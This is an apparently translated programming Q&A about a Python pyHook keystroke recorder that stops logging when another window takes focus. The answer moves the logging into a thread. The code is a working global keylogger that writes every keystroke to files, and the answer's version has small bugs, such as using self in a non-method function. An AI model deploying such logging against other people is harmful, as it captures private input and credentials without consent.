2016-04-29 219 views
0

所以我正在寫一個記錄擊鍵的程序,它很好用,直到我點擊離開程序框。當我點擊柯塔娜像一個瀏覽器,並開始打字,它記錄了幾筆,然後完全停止。它也沒有拋出任何錯誤,所以我不知道如何調試它。爲什麼pythoncom.pumpmessages()停止工作?

def run(self): 
    hm = pyHook.HookManager() 
    hm.KeyDown = self.OnKeyboardEvent 
    hm.HookKeyboard() 
    pythoncom.PumpMessages() 

def OnKeyboardEvent(self,event): 
     ch=chr(event.Ascii) 
     #print [ch] 
     if ch in '\x00\x08': 
      val='/*'+event.Key+'*/' 
      if (val!=self.prev or ch=='\x08') and 'Capital' not in val: 
       print val, 
       self.writetofile(str(val)) 
       data=shelve.open('loggerinfo') 
       data['strokes']=data['strokes'].append(val) 
       data.close() 
       self.prev=val 
     else: 
      self.prev=ch 
      char=None 
      if ch=='\r': 
       char='/*return*/' 
      elif ch=='\t': 
       char='/*tab*/' 
      else: 
       char=ch 
      if char!=None: 
       print char, 
       self.writetofile(str(char)) 
       data=shelve.open('loggerinfo') 
       data['strokes']=data['strokes'].append(char) 
       data.close() 
     return True 

我不知道是什麼問題,因爲它不會引發錯誤。

回答

1

問題是您的回調函數OnKeyBoardEvent需要在事件傳播到系統其餘部分之前返回True/False。這是因爲pyHook是一個非常低級的攔截。

正如我最近發現,如果你的函數的時間太長返回True/False,pyHook將完全停止攔截按鍵。所以,你應該做的,就是建立一個線程,並立即返回True。這將讓任何你想做異步執行。

類似下面。您可能需要查看鎖以確保擱置不會被多個線程同時訪問。

import threading  

def run(self): 
    hm = pyHook.HookManager() 
    hm.KeyDown = self.OnKeyboardEvent 
    hm.HookKeyboard() 
    pythoncom.PumpMessages() 

def ActOnEvent(event): 
    ch=chr(event.Ascii) 
    #print [ch] 
    if ch in '\x00\x08': 
     val='/*'+event.Key+'*/' 
     if (val!=self.prev or ch=='\x08') and 'Capital' not in val: 
      print val, 
      self.writetofile(str(val)) 
      data=shelve.open('loggerinfo') 
      data['strokes']=data['strokes'].append(val) 
      data.close() 
      self.prev=val 
    else: 
     self.prev=ch 
     char=None 
     if ch=='\r': 
      char='/*return*/' 
     elif ch=='\t': 
      char='/*tab*/' 
     else: 
      char=ch 
     if char!=None: 
      print char, 
      self.writetofile(str(char)) 
      data=shelve.open('loggerinfo') 
      data['strokes']=data['strokes'].append(char) 
      data.close()  

def OnKeyboardEvent(self,event): 
    threading.Thread(target=ActOnEvent, args=(event,)).start() 
    return True 
相關問題